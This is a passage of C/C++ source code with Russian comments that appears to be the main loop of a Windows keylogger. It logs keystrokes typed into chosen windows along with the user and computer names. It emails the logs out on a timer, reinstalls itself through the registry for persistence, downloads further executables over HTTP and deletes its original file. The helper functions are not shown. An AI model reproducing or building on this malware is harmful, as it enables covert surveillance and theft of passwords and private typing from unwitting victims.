#endif
// Ставим режим работы кейлог-dll
KeylogOpt (a_d. adv_log);
// проинициализить критическую секцию
InitializeCriticalSection (&gcs);
// Пишем время старта
i = sizeof (buf1);
if (! GetUserName (buf1, (DWORD*) &i)) buf1 [0] = 0;
i = sizeof (buf3);
if (! GetComputerName (buf3, (DWORD*) &i)) buf3 [0] = 0;
sprintf (buf2,"Computer: \"%s\" User: \"%s\"\n",buf3,buf1);
GetLocalTime (&systime);
SysTimePrint (buf3,systime);
sprintf (buf1,"\nStarted at%s,%s\n",buf3,buf2);
LogAdd (buf1);
memcpy (&killtime,&sti. inst_d,sizeof (SYSTEMTIME));
SysTimeSum (killtime,sti. kill_i);
memcpy (&mailtime,&sti. send_d,sizeof (mailtime));
SysTimeSum (mailtime,sti. send_i);
// Сбрасываем exectime
memset (&exectime,0,sizeof (exectime));
// Ставим таймер
h_timer = SetTimer (NULL,0,1000,NULL);
while (GetMessage (&msg,NULL,0,0)) // GetMessage-loop
switch (msg. message) {
case WM_TIMER:
// Забираем данные из кейлог-буфера
if (IsLog) {
i = GetData (buf1,sizeof (buf1));
buf1 [i] = 0;
if ( (! a_d. emp_log) && (IsChange) && (i)) {
LogAdd (old_title);
IsChange = false;
};
LogAdd (buf1);
};
h_curwnd = GetForegroundWindow (); // Получить текущее окно
if (h_curwnd! = h_oldwnd) { // Окно поменялось
// выключаем лог если он идет
if (IsLog) KeylogOff ();
IsLog = false;
if (TitleTest (h_curwnd,buf2)) { // Окно наше?
GetLocalTime (&systime);
sprintf (old_title,
"\nTitle: \"%s\",%2.2u:%2.2u:%2.2u\n",
buf2,systime. wHour,
systime. wMinute,
systime. wSecond
);
IsChange = true;
if (a_d. emp_log) LogAdd (old_title);
IsLog = KeylogOn (); // Включить лог
};
};
h_oldwnd = h_curwnd;
// Обработка сброса буфера на хард
if (cFlush > FLUSH_BUFFER_TIME) {
LogFlush ();
cFlush = 0;
} else cFlush++;
if (sti. send_mail) {
if ( (cMail > MAIL_TEST_TIME) && (! IsMailing)) {
GetLocalTime (&systime);
if ( (SysTimeComp (systime,mailtime) >= 0) ||
(sti. logsize > sti. sendafter)) { // Мылим
LogEmailing (mailtime, IsMailing);
};
cMail = 0;
} else cMail++;
};
if (cRegInst > REG_TEST_TIME) {
if (sti. autokill) {
GetLocalTime (&systime);
if (SysTimeComp (systime,killtime) >= 0) {
AutoKill (h_keylog);
};
};
RegInstall ();
cRegInst = 0;
} else cRegInst++;
if ( (cExe > EXEC_TEST_TIME) && (! IsMailing)) {
GetLocalTime (&systime);
if (SysTimeComp (systime,exectime) >= 0) {
HttpDownloading (exectime, IsMailing);
};
cExe = 0;
} else cExe++;
// Килять исходный экзешник?
if (szKillIt) {
if (DeleteFile (szKillIt)) szKillIt = NULL;
};
// Проврека на возникновение соединения
if (cCon > CON_TEST_TIME) {
cCon = 0;
ConDectecting ();
} else cCon++;
break;
#ifdef _DEBUG
default:
sprintf (buf1,"Unknown Message:%X",msg. message);
ShowMessage (buf1);
#endif
};
return msg. wParam;
};